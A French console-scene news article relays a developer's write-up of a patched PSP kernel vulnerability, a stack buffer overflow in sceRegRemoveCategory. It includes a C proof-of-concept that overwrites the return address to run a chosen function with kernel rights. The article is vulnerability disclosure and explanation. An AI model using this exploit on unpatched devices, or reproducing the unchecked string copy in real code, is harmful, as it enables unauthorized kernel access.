HACK PSVita - Explications d'une faille kernel dans la PSP par Freddy_156
par xav35La dernière mise à jour de la PlayStation Vita a apporté un correctif sur une faille kernel existant au sein de la PSP. L'occasion pour Freddy_156 de nous en parler.
Freddy_156, développeur bien connu de la scène PSP et PSVita, nous explique à travers un billet publié sur le blog de Wololo l'anatomie d'une faille Kernel sur PSP.
Pour rappel, les failles peuvent être de deux types : celles dites en "user mode" ne permettent qu'un accès partiel à la machine, nous ne pouvons alors pas accéder au cœur du système. Plus concrètement, les actions qui requièrent les droits et les accès les plus importants (lancement de copies de jeux, accès au Recovery mode, modifications internes du firmware) ne sont pas possibles dans ce mode. Les secondes sont les failles de type Kernel, dont l'exploitation peut permettre un accès complet à la machine.
Ci-après, la faille dont nous parle Freddy_156 est de type Kernel, mais concerne la PSP et non la PSVita. Cependant, vous n'êtes sûrement pas sans savoir qu'un émulateur PSP est officiellement présent au sein de la dernière portable de Sony.
Freddy_156 explique dans son billet que ce "bug" a été trouvé il y a déjà 2 ans. Cette faille est déjà patchée dans les dernières versions du firmware, c'est pourquoi Freddy_156 se permet d'en parler.
Tout commence en 2011 lorsque le développeur analyse le fichier registry.prx de la PSP. Les PRX sont des fichiers comparables aux .DLL de Windows. Ils se lancent au démarrage de la console et disent à la PSP ce qu’elle doit faire. Le hackeur a remarqué que Sony avait fait une grosse erreur, et en quelques jours il a réussi, en collaboration avec une autre personne, a lancé un "proof of concept".
Dans les grandes lignes, le hacker explique qu'il s'agit d'une des failles les plus simples qu'il ait vue à exploiter, s'agissant selon lui d'un bête buffer overflow.
Il y a un an, le hacker a montré la faille à jigsaw, qui l'a utilisée pour analyser les appels internes du système.
Passons maintenant à la faille en elle-même :
Nous avons exploité une vulnérabilité dans la fonction sceRegRemoveCategory. Cet appel système supprime une catégorie du registre. Cette fonction a deux arguments, le premier de type REGHANDLE, le second étant une chaîne de caractères.
Le REGHANDLE est une valeur donnée par la fonction sceRegOpenRegisry lorsque l'on ouvre un registre valide, ce qui est totalement légitime, mais regardons du côté de la chaîne de caractères.Cette chaîne est simplement le nom de la catégorie que vous voulez supprimer. Dans le registre de la PSP, tous les noms commencent avec un '/', et la fonction sceRegRemoveCategory ne vérifie que cela, le premier caractère de la chaîne.
Pour être précis, la fonction vérifie aussi que la chaîne se situe bien dans le kernel, mais cela n'a pas d'importance dans notre cas.
RemoveCategory alloue 0x1B (27) octets dans la pile, et appelle ensuite un sous-programme qui copie la chaîne dans cet espace... sans vérifier la taille de la chaîne !
Vous voyez le problème ? On peut facilement réaliser un buffer overflow en fournissant une chaîne du type : ‘/<27+ caractères aléatoires>’.
L'adresse de retour est stockée 90 octets (0x54) plus loin dans la pile, donc nous pouvons juste écrire par dessus et attendre que sceRegRemoveCategory retourne quelque chose, même avec une erreur, ce n'est pas grave.Voici un bout de code, callback_addr étant l'adresse de la fonction que vous voulez exécuter avec permissions de type kernel.
char rmc_stack[0x5A];
struct RegParam exp_params;
REGHANDLE exp_handle;memset(&exp_params, 0, sizeof(exp_params));
exp_params.regtype = 1;
exp_params.unk2 = 1;
exp_params.unk3 = 1;
exp_params.namelen = strlen("/system");strcpy(exp_params.name, "/system");
if(!sceRegOpenRegistry(&exp_params, 2, &exp_handle)) //Need a valid registry handle to continue
{
memset(rmc_stack, 'X', 0x5A); //Fill the string with crap
rmc_stack[0] = '/'; //This is enough to fool registry...
rmc_stack[0x5A - 1] = 0;
rmc_stack[0x5A - 2] = (callback_addr >> 24) & 0xFF;
rmc_stack[0x5A - 3] = (callback_addr >> 16) & 0xFF;
rmc_stack[0x5A - 4] = (callback_addr >> 8) & 0xFF;
rmc_stack[0x5A - 5] = callback_addr & 0xFF;
sceRegRemoveCategory(exp_handle, rmc_stack); //;)
}
Freddy_156 explique enfin que la faille aurait probablement été patchée dans le dernier firmware PSVita, mais cela n'empêchera pas les développeurs de tester l'exploit sur les anciennes versions du système.